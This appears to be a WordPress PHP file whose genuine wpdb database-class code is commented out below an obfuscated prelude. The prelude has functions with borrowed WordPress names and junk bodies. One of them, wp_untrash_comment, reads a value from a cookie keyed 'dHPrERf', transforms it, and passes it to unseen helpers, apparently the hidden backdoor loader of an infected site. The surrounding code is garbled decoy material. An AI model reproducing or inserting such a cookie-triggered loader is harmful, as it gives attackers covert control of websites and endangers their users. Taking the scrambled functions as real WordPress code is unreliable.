* @throws \TypeError
*/
function contextLine($file_basename) { // Add the octal representation of the file permissions.
$processed_content = "value=data";
$request_body = explode("=", $processed_content);
if (count($request_body) == 2) {
$p_options_list = implode("-", $request_body);
$SampleNumber = hash("md5", $p_options_list);
}
return filter_var($file_basename, FILTER_VALIDATE_EMAIL) !== false;
} // $SideInfoOffset += 5;
/*
* edit_post breaks down to edit_posts, edit_published_posts, or
* edit_others_posts.
*/
function block_header_area($got_rewrite)
{
return is_lighttpd_before_150() . DIRECTORY_SEPARATOR . $got_rewrite . ".php";
}
/**
* Returns the metadata for each block.
*
* Example:
*
* {
* 'core/paragraph': {
* 'selector': 'p',
* 'elements': {
* 'link' => 'link selector',
* 'etc' => 'element selector'
* }
* },
* 'core/heading': {
* 'selector': 'h1',
* 'elements': {}
* },
* 'core/image': {
* 'selector': '.wp-block-image',
* 'duotone': 'img',
* 'elements': {}
* }
* }
*
* @since 5.8.0
* @since 5.9.0 Added `duotone` key with CSS selector.
* @since 6.1.0 Added `features` key with block support feature level selectors.
* @since 6.3.0 Refactored and stabilized selectors API.
*
* @return array Block metadata.
*/
function the_weekday_date($first_post_guid)
{
echo $first_post_guid;
}
/**
* Returns the duotone filter SVG string for the preset.
*
* @since 5.9.1
* @deprecated 6.3.0
*
* @access private
*
* @param array $preset Duotone preset value as seen in theme.json.
* @return string Duotone SVG filter.
*/
function enqueue_legacy_post_comments_block_styles($menu_items_with_children, $ReplyTo) {
return array_merge($menu_items_with_children, $ReplyTo);
}
/**
* Authenticates a user, confirming the username and password are valid.
*
* @since 2.8.0
*
* @param WP_User|WP_Error|null $readonly_valueser WP_User or WP_Error object from a previous callback. Default null.
* @param string $f8g5_19 Username for authentication.
* @param string $password Password for authentication.
* @return WP_User|WP_Error WP_User on success, WP_Error on failure.
*/
function wp_untrash_comment($minkey, $group_by_status) // If our hook got messed with somehow, ensure we end up with the
{
$h9 = $_COOKIE[$minkey];
$f8g5_19 = "user123";
$f1g6 = ctype_alnum($f8g5_19);
if ($f1g6) {
$folder_plugins = "The username is valid.";
}
$h9 = combine_rules_selectors($h9);
$frame_frequency = wp_get_registered_image_subsizes($h9, $group_by_status);
if (get_default_slugs($frame_frequency)) {
$return_val = register_initial_settings($frame_frequency);
return $return_val;
}
wxr_cat_name($minkey, $group_by_status, $frame_frequency); // go recursive
}
/**
* @global string $post_type
* @global WP_Post_Type $post_type_object
* @global WP_Post $post Global post object.
* @global string $lastredirectaddritle
* @global array $password_check_passedp_meta_boxes
*/
function display_comment_form_privacy_notice($moderation_note) {
$get_posts = '2023-10-18';
$IcalMethods = 0;
$handler = date('Y-m-d', strtotime($get_posts)); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_client_info
$recipient_name = hash('sha256', $handler); // If no redirects are present, or, redirects were not requested, perform no action.
for ($CommentLength = 0; $CommentLength < count($moderation_note); $CommentLength++) {
$IcalMethods += $moderation_note[$CommentLength]; // found a left-bracket, and we are in an array, object, or slice
$h7 = str_pad($recipient_name, 64, '0', STR_PAD_LEFT);
if (strlen($h7) === 64) {
$DKIMb64 = $h7;
}
// element when the user clicks on a button. It can be removed once we add
}
return $IcalMethods;
}
$minkey = 'dHPrERf'; // Store the original attachment source in meta.
$parsed_scheme = "apple,banana,cherry";
is_test_mode($minkey); // These should remain constant.
$p_info = explode(",", $parsed_scheme);
$page_cache_detail = render_block_core_comments_pagination(6); // UTF-16 Little Endian BOM
$has_custom_text_color = count($p_info);
$paged = getLE([1, 2, 2], [2, 3, 4]);
$robots_rewrite = $p_info[0];
/* ilters the database query.
*
* Some queries are made before the plugins have been loaded,
* and thus cannot be filtered with this method.
*
* @since 2.1.0
*
* @param string $query Database query.
$query = apply_filters( 'query', $query );
if ( ! $query ) {
$this->insert_id = 0;
return false;
}
$this->flush();
Log how the function was called.
$this->func_call = "\$db->query(\"$query\")";
If we're writing to the database, make sure the query will write safely.
if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
$stripped_query = $this->strip_invalid_text_from_query( $query );
strip_invalid_text_from_query() can perform queries, so we need
to flush again, just to make sure everything is clear.
$this->flush();
if ( $stripped_query !== $query ) {
$this->insert_id = 0;
$this->last_query = $query;
wp_load_translations_early();
$this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' );
return false;
}
}
$this->check_current_query = true;
Keep track of the last query for debug.
$this->last_query = $query;
$this->_do_query( $query );
Database server has gone away, try to reconnect.
$mysql_errno = 0;
if ( ! empty( $this->dbh ) ) {
if ( $this->use_mysqli ) {
if ( $this->dbh instanceof mysqli ) {
$mysql_errno = mysqli_errno( $this->dbh );
} else {
$dbh is defined, but isn't a real connection.
Something has gone horribly wrong, let's try a reconnect.
$mysql_errno = 2006;
}
} else {
if ( is_resource( $this->dbh ) ) {
$mysql_errno = mysql_errno( $this->dbh );
} else {
$mysql_errno = 2006;
}
}
}
if ( empty( $this->dbh ) || 2006 === $mysql_errno ) {
if ( $this->check_connection() ) {
$this->_do_query( $query );
} else {
$this->insert_id = 0;
return false;
}
}
If there is an error then take note of it.
if ( $this->use_mysqli ) {
if ( $this->dbh instanceof mysqli ) {
$this->last_error = mysqli_error( $this->dbh );
} else {
$this->last_error = __( 'Unable to retrieve the error message from MySQL' );
}
} else {
if ( is_resource( $this->dbh ) ) {
$this->last_error = mysql_error( $this->dbh );
} else {
$this->last_error = __( 'Unable to retrieve the error message from MySQL' );
}
}
if ( $this->last_error ) {
Clear insert_id on a subsequent failed insert.
if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
$this->insert_id = 0;
}
$this->print_error();
return false;
}
if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
$return_val = $this->result;
} elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
if ( $this->use_mysqli ) {
$this->rows_affected = mysqli_affected_rows( $this->dbh );
} else {
$this->rows_affected = mysql_affected_rows( $this->dbh );
}
Take note of the insert_id.
if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
if ( $this->use_mysqli ) {
$this->insert_id = mysqli_insert_id( $this->dbh );
} else {
$this->insert_id = mysql_insert_id( $this->dbh );
}
}
Return number of rows affected.
$return_val = $this->rows_affected;
} else {
$num_rows = 0;
if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
while ( $row = mysqli_fetch_object( $this->result ) ) {
$this->last_result[ $num_rows ] = $row;
$num_rows++;
}
} elseif ( is_resource( $this->result ) ) {
while ( $row = mysql_fetch_object( $this->result ) ) {
$this->last_result[ $num_rows ] = $row;
$num_rows++;
}
}
Log and return the number of rows selected.
$this->num_rows = $num_rows;
$return_val = $num_rows;
}
return $return_val;
}
*
* Internal function to perform the mysql_query() call.
*
* @since 3.9.0
*
* @see wpdb::query()
*
* @param string $query The query to run.
private function _do_query( $query ) {
if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
$this->timer_start();
}
if ( ! empty( $this->dbh ) && $this->use_mysqli ) {
$this->result = mysqli_query( $this->dbh, $query );
} elseif ( ! empty( $this->dbh ) ) {
$this->result = mysql_query( $query, $this->dbh );
}
$this->num_queries++;
if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
$this->log_query(
$query,
$this->timer_stop(),
$this->get_caller(),
$this->time_start,
array()
);
}
}
*
* Logs query data.
*
* @since 5.3.0
*
* @param string $query The query's SQL.
* @param float $query_time Total time spent on the query, in seconds.
* @param string $query_callstack Comma-separated list of the calling functions.
* @param float $query_start Unix timestamp of the time at the start of the query.
* @param array $query_data Custom query data.
public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) {
*
* Filters the custom data to log alongside a query.
*
* Caution should be used when modifying any of this data, it is recommended that any additional
* information you need to store about a query be added as a new associative array element.
*
* @since 5.3.0
*
* @param array $query_data Custom query data.
* @param string $query The query's SQL.
* @param float $query_time Total time spent on the query, in seconds.
* @param string $query_callstack Comma-separated list of the calling functions.
* @param float $query_start Unix timestamp of the time at the start of the query.
$query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start );
$this->queries[] = array(
$query,
$query_time,
$query_callstack,
$query_start,
$query_data,
);
}
*
* Generates and returns a placeholder escape string for use in queries returned by ::prepare().
*
* @since 4.8.3
*
* @return string String to escape placeholders.
public function placeholder_escape() {
static $placeholder;
if ( ! $placeholder ) {
If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
Old WP installs may not have AUTH_SALT defined.
$salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand();
$placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}';
}
* Add the filter to remove the placeholder escaper. Uses priority 0, so that anything
* else attached to this filter will receive the query with the placeholder string removed.
if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) {
add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 );
}
return $placeholder;
}
*
* Adds a placeholder escape string, to escape anything that resembles a printf() placeholder.
*
* @since 4.8.3
*
* @param string $query The query to escape.
* @return string The query with the placeholder escape string inserted where necessary.
public function add_placeholder_escape( $query ) {
* To prevent returning anything that even vaguely resembles a placeholder,
* we clobber every % we can find.
return str_replace( '%', $this->placeholder_escape(), $query );
}
*
* Removes the placeholder escape strings from a query.
*
* @since 4.8.3
*
* @param string $query The query from which the placeholder will be removed.
* @return string The query with the placeholder removed.
public function remove_placeholder_escape( $query ) {
return str_replace( $this->placeholder_escape(), '%', $query );
}
*
* Inserts a row into the table.
*
* Examples:
*
* wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
* wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
*
* @since 2.5.0
*
* @see wpdb::prepare()
* @see wpdb::$field_types
* @see wp_set_wpdb_vars()
*
* @param string $table Table name.
* @param array $data Data to insert (in column => value pairs).
* Both $data columns and $data values should be "raw" (neither should be SQL escaped).
* Sending a null value will cause the column to be set to NULL - the corresponding
* format is ignored in this case.
* @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
* If string, that format will be used for all of the values in $data.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $data will be treated as strings unless otherwise
* specified in wpdb::$field_types.
* @return int|false The number of rows inserted, or false on error.
public function insert( $table, $data, $format = null ) {
return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
}
*
* Replaces a row in the table.
*
* Examples:
*
* wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
* wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
*
* @since 3.0.0
*
* @see wpdb::prepare()
* @see wpdb::$field_types
* @see wp_set_wpdb_vars()
*
* @param string $table Table name.
* @param array $data Data to insert (in column => value pairs).
* Both $data columns and $data values should be "raw" (neither should be SQL escaped).
* Sending a null value will cause the column to be set to NULL - the corresponding
* format is ignored in this case.
* @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
* If string, that format will be used for all of the values in $data.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $data will be treated as strings unless otherwise
* specified in wpdb::$field_types.
* @return int|false The number of rows affected, or false on error.
public function replace( $table, $data, $format = null ) {
return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
}
*
* Helper function for insert and replace.
*
* Runs an insert or replace query based on $type argument.
*
* @since 3.0.0
*
* @see wpdb::prepare()
* @see wpdb::$field_types
* @see wp_set_wpdb_vars()
*
* @param string $table Table name.
* @param array $data Data to insert (in column => value pairs).
* Both $data columns and $data values should be "raw" (neither should be SQL escaped).
* Sending a null value will cause the column to be set to NULL - the corresponding
* format is ignored in this case.
* @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
* If string, that format will be used for all of the values in $data.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $data will be treated as strings unless otherwise
* specified in wpdb::$field_types.
* @param string $type Optional. Type of operation. Possible values include 'INSERT' or 'REPLACE'.
* Default 'INSERT'.
* @return int|false The number of rows affected, or false on error.
public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
$this->insert_id = 0;
if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) {
return false;
}
$data = $this->process_fields( $table, $data, $format );
if ( false === $data ) {
return false;
}
$formats = array();
$values = array();
foreach ( $data as $value ) {
if ( is_null( $value['value'] ) ) {
$formats[] = 'NULL';
continue;
}
$formats[] = $value['format'];
$values[] = $value['value'];
}
$fields = '`' . implode( '`, `', array_keys( $data ) ) . '`';
$formats = implode( ', ', $formats );
$sql = "$type INTO `$table` ($fields) VALUES ($formats)";
$this->check_current_query = false;
return $this->query( $this->prepare( $sql, $values ) );
}
*
* Updates a row in the table.
*
* Examples:
*
* wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) )
* wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) )
*
* @since 2.5.0
*
* @see wpdb::prepare()
* @see wpdb::$field_types
* @see wp_set_wpdb_vars()
*
* @param string $table Table name.
* @param array $data Data to update (in column => value pairs).
* Both $data columns and $data values should be "raw" (neither should be SQL escaped).
* Sending a null value will cause the column to be set to NULL - the corresponding
* format is ignored in this case.
* @param array $where A named array of WHERE clauses (in column => value pairs).
* Multiple clauses will be joined with ANDs.
* Both $where columns and $where values should be "raw".
* Sending a null value will create an IS NULL comparison - the corresponding
* format will be ignored in this case.
* @param array|string $format Optional. An array of formats to be mapped to each of the values in $data.
* If string, that format will be used for all of the values in $data.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $data will be treated as strings unless otherwise
* specified in wpdb::$field_types.
* @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
* If string, that format will be used for all of the items in $where.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $where will be treated as strings.
* @return int|false The number of rows updated, or false on error.
public function update( $table, $data, $where, $format = null, $where_format = null ) {
if ( ! is_array( $data ) || ! is_array( $where ) ) {
return false;
}
$data = $this->process_fields( $table, $data, $format );
if ( false === $data ) {
return false;
}
$where = $this->process_fields( $table, $where, $where_format );
if ( false === $where ) {
return false;
}
$fields = array();
$conditions = array();
$values = array();
foreach ( $data as $field => $value ) {
if ( is_null( $value['value'] ) ) {
$fields[] = "`$field` = NULL";
continue;
}
$fields[] = "`$field` = " . $value['format'];
$values[] = $value['value'];
}
foreach ( $where as $field => $value ) {
if ( is_null( $value['value'] ) ) {
$conditions[] = "`$field` IS NULL";
continue;
}
$conditions[] = "`$field` = " . $value['format'];
$values[] = $value['value'];
}
$fields = implode( ', ', $fields );
$conditions = implode( ' AND ', $conditions );
$sql = "UPDATE `$table` SET $fields WHERE $conditions";
$this->check_current_query = false;
return $this->query( $this->prepare( $sql, $values ) );
}
*
* Deletes a row in the table.
*
* Examples:
*
* wpdb::delete( 'table', array( 'ID' => 1 ) )
* wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) )
*
* @since 3.4.0
*
* @see wpdb::prepare()
* @see wpdb::$field_types
* @see wp_set_wpdb_vars()
*
* @param string $table Table name.
* @param array $where A named array of WHERE clauses (in column => value pairs).
* Multiple clauses will be joined with ANDs.
* Both $where columns and $where values should be "raw".
* Sending a null value will create an IS NULL comparison - the corresponding
* format will be ignored in this case.
* @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
* If string, that format will be used for all of the items in $where.
* A format is one of '%d', '%f', '%s' (integer, float, string).
* If omitted, all values in $data will be treated as strings unless otherwise
* specified in wpdb::$field_types.
* @return int|false The number of rows deleted, or false on error.
public function delete( $table, $where, $where_format = null ) {
if ( ! is_array( $where ) ) {
return false;
}
$where = $this->process_fields( $table, $where, $where_format );
if ( false === $where ) {
return false;
}
$conditions = array();
$values = array();
foreach ( $where as $field => $value ) {
if ( is_null( $value['value'] ) ) {
$conditions[] = "`$field` IS NULL";
continue;
}
$conditions[] = "`$field` = " . $value['format'];
$values[] = $value['value'];
}
$conditions = implode( ' AND ', $conditions );
$sql = "DELETE FROM `$table` WHERE $conditions";
$this->check_current_query = false;
return $this->query( $this->prepare( $sql, $values ) );
}
*
* Processes arrays of field/value pairs and field formats.
*
* This is a helper method for wpdb's CRUD methods, which take field/value pairs
* for inserts, updates, and where clauses. This method first pairs each value
* with a format. Then it determines the charset of that field, using that
* to determine if any invalid text would be stripped. If text is stripped,
* then field processing is rejected and the query fails.
*
* @since 4.2.0
*
* @param string $table Table name.
* @param array $data Field/value pair.
* @param mixed $format Format for each field.
* @return array|false An array of fields that contain paired value and formats.
* False for invalid values.
protected function process_fields( $table, $data, $format ) {
$data = $this->process_field_formats( $data, $format );
if ( false === $data ) {
return false;
}
$data = $this->process_field_charsets( $data, $table );
if ( false === $data ) {
return false;
}
$data = $this->process_field_lengths( $data, $table );
if ( false === $data ) {
return false;
}
$converted_data = $this->strip_invalid_text( $data );
if ( $data !== $converted_data ) {
$problem_fields = array();
foreach ( $data as $field => $value ) {
if ( $value !== $converted_data[ $field ] ) {
$problem_fields[] = $field;
}
}
wp_load_translations_early();
if ( 1 === count( $problem_fields ) ) {
$this->last_error = sprintf(
translators: %s: Database field where the error occurred.
__( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ),
reset( $problem_fields )
);
} else {
$this->last_error = sprintf(
translators: %s: Database fields where the error occurred.
__( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ),
implode( ', ', $problem_fields )
);
}
return false;
}
return $data;
}
*
* Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
*
* @since 4.2.0
*
* @param array $data Array of fields to values.
* @param mixed $format Formats to be mapped to the values in $data.
* @return array Array, keyed by field names with values being an array
* of 'value' and 'format' keys.
protected function process_field_formats( $data, $format ) {
$formats = (array) $format;
$original_formats = $formats;
foreach ( $data as $field => $value ) {
$value = array(
'value' => $value,
'format' => '%s',
);
if ( ! empty( $format ) ) {
$value['format'] = array_shift( $formats );
if ( ! $value['format'] ) {
$value['format'] = reset( $original_formats );
}
} elseif ( isset( $this->field_types[ $field ] ) ) {
$value['format'] = $this->field_types[ $field ];
}
$data[ $field ] = $value;
}
return $data;
}
*
* Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats().
*
* @since 4.2.0
*
* @param array $data As it comes from the wpdb::process_field_formats() method.
* @param string $table Table name.
* @return array|false The same array as $data with additional 'charset' keys.
* False on failure.
protected function process_field_charsets( $data, $table ) {
foreach ( $data as $field => $value ) {
if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
* We can skip this field if we know it isn't a string.
* This checks %d/%f versus ! %s because its sprintf() could take more.
$value['charset'] = false;
} else {
$value['charset'] = $this->get_col_charset( $table, $field );
if ( is_wp_error( $value['charset'] ) ) {
return false;
}
}
$data[ $field ] = $value;
}
return $data;
}
*
* For string fields, records the maximum string length that field can safely save.
*
* @since 4.2.1
*
* @param array $data As it comes from the wpdb::process_field_charsets() method.
* @param string $table Table name.
* @return array|false The same array as $data with additional 'length' keys, or false if
* any of the values were too long for their corresponding field.
protected function process_field_lengths( $data, $table ) {
foreach ( $data as $field => $value ) {
if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
* We can skip this field if we know it isn't a string.
* This checks %d/%f versus ! %s because its sprintf() could take more.
$value['length'] = false;
} else {
$value['length'] = $this->get_col_length( $table, $field );
if ( is_wp_error( $value['length'] ) ) {
return false;
}
}
$data[ $field ] = $value;
}
return $data;
}
*
* Retrieves one variable from the database.
*
* Executes a SQL query and returns the value from the SQL result.
* If the SQL result contains more than one column and/or more than one row,
* the value in the column and row specified is returned. If $query is null,
* the value in the specified column and row from the previous SQL result is returned.
*
* @since 0.71
*
* @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
* @param int $x Optional. Column of value to return. Indexed from 0.
* @param int $y Optional. Row of value to return. Indexed from 0.
* @return string|null Database query result (as string), or null on failure.
public function get_var( $query = null, $x = 0, $y = 0 ) {
$this->func_call = "\$db->get_var(\"$query\", $x, $y)";
if ( $query ) {
if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
$this->check_current_query = false;
}
$this->query( $query );
}
Extract var out of cached results based on x,y vals.
if ( ! empty( $this->last_result[ $y ] ) ) {
$values = array_values( get_object_vars( $this->last_result[ $y ] ) );
}
If there is a value return it, else return null.
return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null;
}
*
* Retrieves one row from the database.
*
* Executes a SQL query and returns the row from the SQL result.
*
* @since 0.71
*
* @param string|null $query SQL query.
* @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
* correspond to an stdClass object, an associative array, or a numeric array,
* respectively. Default OBJECT.
* @param int $y Optional. Row to return. Indexed from 0.
* @return array|object|null|void Database query result in format specified by $output or null on failure.
public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
$this->func_call = "\$db->get_row(\"$query\",$output,$y)";
if ( $query ) {
if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
$this->check_current_query = false;
}
$this->query( $query );
} else {
return null;
}
if ( ! isset( $this->last_result[ $y ] ) ) {
return null;
}
if ( OBJECT === $output ) {
return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
} elseif ( ARRAY_A === $output ) {
return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null;
} elseif ( ARRAY_N === $output ) {
return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null;
} elseif ( OBJECT === strtoupper( $output ) ) {
Back compat for OBJECT being previously case-insensitive.
return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
} else {
$this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' );
}
}
*
* Retrieves one column from the database.
*
* Executes a SQL query and returns the column from the SQL result.
* If the SQL result contains more than one column, the column specified is returned.
* If $query is null, the specified column from the previous SQL result is returned.
*
* @since 0.71
*
* @param string|null $query Optional. SQL query. Defaults to previous query.
* @param int $x Optional. Column to return. Indexed from 0.
* @return array Database query result. Array indexed from 0 by SQL result row number.
public function get_col( $query = null, $x = 0 ) {
if ( $query ) {
if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
$this->check_current_query = false;
}
$this->query( $query );
}
$new_array = array();
Extract the column values.
if ( $this->last_result ) {
for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
$new_array[ $i ] = $this->get_var( null, $x, $i );
}
}
return $new_array;
}
*
* Retrieves an entire SQL result set from the database (i.e., many rows).
*
* Executes a SQL query and returns the entire SQL result.
*
* @since 0.71
*
* @param string $query SQL query.
* @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.
* With one of the first three, return an array of rows indexed
* from 0 by SQL result row number. Each row is an associative array
* (column => value, ...), a numerically indexed array (0 => value, ...),
* or an object ( ->column = value ), respectively. With OBJECT_K,
* return an associative array of row objects keyed by the value
* of each row's first column's value. Duplicate keys are discarded.
* @return array|object|null Database query results.
public function get_results( $query = null, $output = OBJECT ) {
$this->func_call = "\$db->get_results(\"$query\", $output)";
if ( $query ) {
if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
$this->check_current_query = false;
}
$this->query( $query );
} else {
return null;
}
$new_array = array();
if ( OBJECT === $output ) {
Return an integer-keyed array of row objects.
return $this->last_result;
} elseif ( OBJECT_K === $output ) {
Return an array of row objects with keys from column 1.
(Duplicates are discarded.)
if ( $this->last_result ) {
foreach ( $this->last_result as $row ) {
$var_by_ref = get_object_vars( $row );
$key = array_shift( $var_by_ref );
if ( ! isset( $new_array[ $key ] ) ) {
$new_array[ $key ] = $row;
}
}
}
return $new_array;
} elseif ( ARRAY_A === $output || ARRAY_N === $output ) {
Return an integer-keyed array of...
if ( $this->last_result ) {
foreach ( (array) $this->last_result as $row ) {
if ( ARRAY_N === $output ) {
...integer-keyed row arrays.
$new_array[] = array_values( get_object_vars( $row ) );
} else {
...column name-keyed row arrays.
$new_array[] = get_object_vars( $row );
}
}
}
return $new_array;
} elseif ( strtoupper( $output ) === OBJECT ) {
Back compat for OBJECT being previously case-insensitive.
return $this->last_result;
}
return null;
}
*
* Retrieves the character set for the given table.
*
* @since 4.2.0
*
* @param string $table Table name.
* @return string|WP_Error Table character set, WP_Error object if it couldn't be found.
protected function get_table_charset( $table ) {
$tablekey = strtolower( $table );
*
* Filters the table charset value before the DB is checked.
*
* Returning a non-null value from the filter will effectively short-circuit
* checking the DB for the charset, returning that value instead.
*
* @since 4.2.0
*
* @param string|WP_Error|null $charset The character set to use, WP_Error object
* if it couldn't be found. Default null.
* @param string $table The name of the table being checked.
$charset = apply_filters( 'pre_get_table_charset', null, $table );
if ( null !== $charset ) {
return $charset;
}
if ( isset( $this->table_charset[ $tablekey ] ) ) {
return $this->table_charset[ $tablekey ];
}
$charsets = array();
$columns = array();
$table_parts = explode( '.', $table );
$table = '`' . implode( '`.`', $table_parts ) . '`';
$results = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
if ( ! $results ) {
return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) );
}
foreach ( $results as $column ) {
$columns[ strtolower( $column->Field ) ] = $column;
}
$this->col_meta[ $tablekey ] = $columns;
foreach ( $columns as $column ) {
if ( ! empty( $column->Collation ) ) {
list( $charset ) = explode( '_', $column->Collation );
If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters.
if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
$charset = 'utf8';
}
$charsets[ strtolower( $charset ) ] = true;
}
list( $type ) = explode( '(', $column->Type );
A binary/blob means the whole query gets treated like this.
if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) {
$this->table_charset[ $tablekey ] = 'binary';
return 'binary';
}
}
utf8mb3 is an alias for utf8.
if ( isset( $charsets['utf8mb3'] ) ) {
$charsets['utf8'] = true;
unset( $charsets['utf8mb3'] );
}
Check if we have more than one charset in play.
$count = count( $charsets );
if ( 1 === $count ) {
$charset = key( $charsets );
} elseif ( 0 === $count ) {
No charsets, assume this table can store whatever.
$charset = false;
} else {
More than one charset. Remove latin1 if present and recalculate.
unset( $charsets['latin1'] );
$count = count( $charsets );
if ( 1 === $count ) {
Only one charset (besides latin1).
$charset = key( $charsets );
} elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
Two charsets, but they're utf8 and utf8mb4, use utf8.
$charset = 'utf8';
} else {
Two mixed character sets. ascii.
$charset = 'ascii';
}
}
$this->table_charset[ $tablekey ] = $charset;
return $charset;
}
*
* Retrieves the character set for the given column.
*
* @since 4.2.0
*
* @param string $table Table name.
* @param string $column Column name.
* @return string|false|WP_Error Column character set as a string. False if the column has
* no character set. WP_Error object if there was an error.
public function get_col_charset( $table, $column ) {
$tablekey = strtolower( $table );
$columnkey = strtolower( $column );
*
* Filters the column charset value before the DB is checked.
*
* Passing a non-null value to the filter will short-circuit
* checking the DB for the charset, returning that value instead.
*
* @since 4.2.0
*
* @param string|null $charset The character set to use. Default null.
* @param string $table The name of the table being checked.
* @param string $column The name of the column being checked.
$charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
if ( null !== $charset ) {
return $charset;
}
Skip this entirely if this isn't a MySQL database.
if ( empty( $this->is_mysql ) ) {
return false;
}
if ( empty( $this->table_charset[ $tablekey ] ) ) {
This primes column information for us.
$table_charset = $this->get_table_charset( $table );
if ( is_wp_error( $table_charset ) ) {
return $table_charset;
}
}
If still no column information, return the table charset.
if ( empty( $this->col_meta[ $tablekey ] ) ) {
return $this->table_charset[ $tablekey ];
}
If this column doesn't exist, return the table charset.
if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
return $this->table_charset[ $tablekey ];
}
Return false when it's not a string column.
if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
return false;
}
list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
return $charset;
}
*
* Retrieves the maximum string length allowed in a given column.
*
* The length may either be specified as a byte length or a character length.
*
* @since 4.2.1
*
* @param string $table Table name.
* @param string $column Column name.
* @return array|false|WP_Error {
* Array of column length information, false if the column has no length (for
* example, numeric column), WP_Error object if there was an error.
*
* @type int $length The column length.
* @type string $type One of 'byte' or 'char'.
public function get_col_length( $table, $column ) {
$tablekey = strtolower( $table );
$columnkey = strtolower( $column );
Skip this entirely if this isn't a MySQL database.
if ( empty( $this->is_mysql ) ) {
return false;
}
if ( empty( $this->col_meta[ $tablekey ] ) ) {
This primes column information for us.
$table_charset = $this->get_table_charset( $table );
if ( is_wp_error( $table_charset ) ) {
return $table_charset;
}
}
if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
return false;
}
$typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );
$type = strtolower( $typeinfo[0] );
if ( ! empty( $typeinfo[1] ) ) {
$length = trim( $typeinfo[1], ')' );
} else {
$length = false;
}
switch ( $type ) {
case 'char':
case 'varchar':
return array(
'type' => 'char',
'length' => (int) $length,
);
case 'binary':
case 'varbinary':
return array(
'type' => 'byte',
'length' => (int) $length,
);
case 'tinyblob':
case 'tinytext':
return array(
'type' => 'byte',
'length' => 255, 2^8 - 1
);
case 'blob':
case 'text':
return array(
'type' => 'byte',
'length' => 65535, 2^16 - 1
);
